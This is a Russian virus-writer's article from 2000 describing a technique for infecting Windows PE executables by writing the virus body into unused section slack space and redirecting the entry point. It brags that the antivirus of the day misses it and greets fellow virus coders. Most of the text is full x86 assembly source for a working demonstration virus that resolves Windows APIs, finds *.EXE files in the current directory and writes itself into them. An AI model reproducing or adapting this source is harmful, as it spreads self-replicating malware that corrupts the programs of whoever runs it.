Нестандартное заражение PE - 21:07 - by No
 
Любой нынешний вирмэйкер скорее всего знает, как
создавать свою секцию в PE или примыкать к последней.
Ну и естественно ребята из АВП давно научились ловить
такие вирусы. Предлагаю новый способ. Хуй его знает,
открыли его или нет, лично для себя я его сам открыл
и у других не видел.. В любой секции есть Virtual size
и Physical size. Если вы сделаете dump заголовков
нескольких файлов(приведу пример calc.exe из %windir%)
то увидите примерно следующее(TDUMP):

Object table:
#   Name      VirtSize    RVA     PhysSize  Phys off  Flags
--  --------  --------  --------  --------  --------  --------
01  .text     00011A0E  00001000  00012000  00001000  60000020 [CER]
02  .data     00000F84  00013000  00001000  00013000  C0000040 [IRW]
03  .rsrc     00003000  00014000  00003000  00014000  40000040 [IR]

VirtSize - это сколько байт будет загружаться в память из секции.
PhysSize - физический размер секции(округлееный до ObjectAlign).

PhysSize-VirtualSize = сколько байт в секции осталось
не использованных. Компилятором они заполняются 0ми.
Вот их то и можно поиметь. Таким образом, смещение к этому
месту можно рассчитать по идиотской формуле:

FileOffs = PhysOff+VirtSize

После помещения вирусного тела в секцию, нужно еще и увеличить
VirtSize ровно на размер вашего вируса. Понятно, не понятно -
посмотрите сорс, который прилагается. Я думаю мне  не стоит
упомянать про то, что флаги должны быть тоже установлены
должным образом. К этой технологии я написал вирус -
демонстрационный, заражает *.EXE в current dir.

Проверял все последней на этот момент версией AVPLITE.
Ничего он не словил, да и словить такое дело практически
невозможно, так как всякая программа может содержать
такого рода код (для АВП это будет смотреться как обычный
безусловный переход). Единственная хуйня - это то, что
такие места ни в каждом PE найдешь, а некоторые содержат
вообще неправильные PE таблицы, вот пример(FAR.EXE)

Object table:
#   Name      VirtSize    RVA     PhysSize  Phys off  Flags
--  --------  --------  --------  --------  --------  --------
01  CODE      00058000  00001000  00057E00  00000600  60000020 [CER]
02  DATA      00010000  00059000  00008200  00058400  C0000040 [IRW]
03  .INIT     00001000  00069000  00001000  00060600  42000040 [IDR]
04  .idata    00001000  0006A000  00000800  00061600  C0000040 [IRW]
05  .edata    00001000  0006B000  00000200  00061E00  40000040 [IR]
06  .reloc    00004000  0006C000  00003600  00062000  50000040 [ISR]
07  .rsrc     00001000  00070000  00000800  00065600  D0000040 [ISRW]

Ну как ЭТО назвать? Бывает дерьмо - пропустите такие PEшники.
На моем винте таких меньшинство, поэтому, я думаю, это не
проблема. (Если вы думаете, что вы можете сложить PhysOff+PhysSize
- ошибаетесь).

Не пытайтесь размножать 10kb вирусы таким методом. Нихрена у вас
не выйдет.

Ах да, и просьба:
1) Оптимизируйте свой код!
2) Не пишите больших вирусов.
3) Не тусуйтесь на undernet`e.

А можно передать привет ?

( IN RANDOM ORDER )
Greetingz to DarkBeer, Charly, Z0MBiE, SSR, LovinGod, Janusz,
BlackAngel, Ultras и другим российским кодерам.

NO.     [email protected]


;===============================================================
; Июнь, 2000.

.386
.model flat, stdcall

 EXTRN  ExitProcess: PROC

 addr_table = 7 * 4
 name_table = 8 * 4
 ord_table = 9 * 4
 name_counter = 6 * 4
 physical_size = 4 * 4
 physical_offs = 5 * 4
 virtual_size = 2 * 4
 object_flags = 9 * 4

 min_exe_size = 10000d
 virus_size = (END_VIRUS-START)

 GENERIC_RW = 80000000h+40000000h
 OPEN_EXISTING = 3
 WRITEABLE_OBJECT = 80000000h
 CODE_OBJECT = 00000020h
 EXECUTABLE_OBJECT = 20000000h

 CloseHandle = 0
 UnmapViewOfFile = 1
 MapViewOfFile = 2
 GetFileSize = 3
 CreateFileMappingA = 4
 CreateFileA = 5
 FindNextFileA = 6
 FindFirstFileA = 7

 api_num = 7

 findfile_struct_size = 320 + 58
 win_directory_size = 320
 reserve_blocks = 1000h

 stack_memory_used = findfile_struct_size + \
                        win_directory_size + \
                        reserve_blocks

 ; edi должен указывать base_stack
 call_api macro api_number
   call [edi+4*api_number]
 endm

.data

 START: jmp     GET_DELTA
        db      "NO"
 GET_DELTA:
        call    DELTA
 DELTA: pop     ebp
        sub     ebp, offset DELTA
        pop     eax

        mov     ebx, [ebp+offset host_ip]
        add     ebx, [ebp+offset host_ib]
        push    ebx

        shr     eax, 16
        dec     eax
        shl     eax, 16
        mov     edi, eax
        xor     ebx, ebx
        mov     bx, word ptr [eax+3ch]
        cmp     dword ptr [eax+ebx], 4550h
        jnz     EXIT

        add     eax, ebx
        mov     esi, [eax+78h]
        add     esi, edi
        mov     eax, [esi+addr_table]
        add     eax, edi
        push    eax
        mov     eax, [esi+name_table]
        add     eax, edi
        mov     ebx, eax
        push    eax
        mov     eax, [esi+ord_table]
        add     eax, edi
        push    eax
        mov     ecx, [esi+name_counter]
        push    ecx

 SEARCH_GTA@1:
        mov     eax, [ebx]
        add     eax, edi
        cmp     dword ptr [eax], "PteG"
        jnz     NEXT_NAME
        cmp     dword ptr [eax+4], "Acor"
        jz      SEARCH_GTA@2
 NEXT_NAME:
        add     ebx, 4
        loop    SEARCH_GTA@1
        jmp     EXIT
 SEARCH_GTA@2:
        pop     ebx
        sub     ebx, ecx
        shl     ebx, 1
        add     ebx, [esp]                      ; ord таблица
        xor     edx, edx
        mov     dx, word ptr [ebx]
        shl     edx, 2
        add     edx, [esp+4*2]                  ; адр таблица
        mov     edx, [edx]
        add     edx, edi
        mov     [ebp+offset GetProcAddressRVA], edx

        lea     esi, [ebp+api_list]
 GET_API_RVA:
        push    edi edx
        call    edx, edi, esi
        pop     edx edi
        or      eax, eax
        jz      EXIT
        push    eax
        call    STR_ESI_Z
        cmp     byte ptr [esi],0FFh
        jnz     GET_API_RVA
; распределение памяти стэка
        mov     esi, esp
        mov     edi, esi
        sub     esi, 4*4
        mov     edx, esi
        sub     edx, stack_memory_used
        push    edx

        mov     [ebp+offset base_stack], edx
        mov     esi, edx
        mov     ecx, stack_memory_used
        call    CLEAR_BLOCK
        lea     eax, [ebp+file_mask]

 FIND_FIRST_FILE:
        push    edi                             ; должно быть сохранено
        push    esi
        push    eax
        call_api FindFirstFileA
        pop     edi                             ; 'стэковый обработчик' api
        pop     edx                             ; указатель на начало стэкпам
        inc     eax
        or      eax, eax
        jz      EXIT
        dec     eax
        mov     esi, edx
        add     esi, 44
        pushad
        call    INFECT
        popad

 FIND_NEXT_FILE:
        push    edx
        push    eax
        push    edx
        push    eax
        call_api FindNextFileA
        or      eax, eax
        jz      EXIT
        pop     eax
        pop     edx
        mov     esi, edx
        add     esi, 44
        pushad
        call    INFECT
        popad
        jmp     FIND_NEXT_FILE

 file_mask  db "*.EXE",0

 STR_ESI_Z:
        inc     esi
        cmp     byte ptr [esi], 0
        jnz     STR_ESI_Z
        inc     esi                             ; пропустить 0
        ret

 CLEAR_BLOCK:
        push    esi
        shr     ecx, 2
 @CBx1: mov     dword ptr [esi], 0
        add     esi, 4
        loop    @CBx1
        pop     esi
        ret

 INFECT:clc
        push    0
        push    0
        push    OPEN_EXISTING
        push    0
        push    0
        push    GENERIC_RW
        push    esi
        call_api CreateFileA
        inc     eax
        or      eax, eax
        jz      INFECT_RET
        dec     eax

        xchg    eax, ebx
        push    ebx
        push    0
        push    ebx
        call_api GetFileSize
        pop     ebx
        cmp     eax, min_exe_size
        push    ebx
        jna     CLOSE_INFECT_RET

        push    0
        push    eax
        push    0
        push    4
        push    0
        push    ebx
        call_api CreateFileMappingA
        or      eax, eax
        jz      CLOSE_INFECT_RET

        push    0
        push    0
        push    0
        push    2
        push    eax
        call_api MapViewOfFile
        push    eax

        xor     ebx, ebx
        mov     bx, word ptr [eax+3Ch]
        cmp     dword ptr [eax+ebx], 4550h
        jnz     UNMAP_INFECT_RET
        add     eax, ebx
        xor     ecx, ecx
        mov     cx, word ptr [eax+6]
        dec     ecx                             ; последняя секция не нужна
        mov     ebx, [eax+40]                   ; так как АВП будет орать
        mov     [ebp+offset host_ip], ebx
        mov     ebx, [eax+52]
        mov     [ebp+offset host_ib], ebx
        xor     edx, edx
        mov     dx, word ptr [eax+14h]
        add     edx, eax
        add     edx, 18h
; поиск свободного места в секциях
 CHECK_SPACE:
        mov     ebx, dword ptr [edx+physical_size]
        sub     ebx, dword ptr [edx+virtual_size]
        cmp     ebx, virus_size
        jnl     INFECT_@X2
        add     edx, 40
        loop    CHECK_SPACE
        jmp     UNMAP_INFECT_RET
 INFECT_@X2:
; установить атрибуты
        or      dword ptr [edx+object_flags], WRITEABLE_OBJECT OR \
                                              CODE_OBJECT OR \
                                              EXECUTABLE_OBJECT
        mov     esi, [edx+physical_offs]
        add     esi, [edx+virtual_size]
        add     dword ptr [edx+virtual_size], virus_size
; самопроверка
        push    eax
        mov     eax, esi
        add     eax, [esp+4]
        sub     eax, virus_size
        cmp     word ptr [eax+2], "ON"
        pop     eax
        jz      UNMAP_INFECT_RET

        push    esi
        add     esi, [esp+4]
        push    edi
        lea     edi, [ebp+START]
        mov     ecx, (virus_size+2)/4
        xchg    esi, edi
        rep     movsd
        pop     edi
        pop     esi
        mov     [eax+40], esi                  ; установка нового entry-point`а

 UNMAP_INFECT_RET:
        call_api UnmapViewOfFile
 CLOSE_INFECT_RET:
        call_api CloseHandle
 INFECT_RET:
        ret
 EXIT:  or   ebp, ebp
        jnz   EXIT_TO_HOST
        call ExitProcess
 EXIT_TO_HOST:
        mov  esp, edi
        add  esp, (api_num + 4) * 4
        pop  ebx
        jmp  ebx

 GetProcAddressRVA      dd 0
 base_stack             dd 0
 host_ip                dd 0    ; входная точка жертвы
 host_ib                dd 0    ; imagebase жертвы

 api_list:      db "FindFirstFileA",0,"FindNextFileA",0,"CreateFileA",0
                db "CreateFileMappingA",0,"GetFileSize",0,"MapViewOfFile",0
                db "UnmapViewOfFile",0,"CloseHandle",0
                db 0FFh
 api_list_size = ($ - api_list)

 END_VIRUS  equ  $

.code
 dd     0

 END    START
;============================================================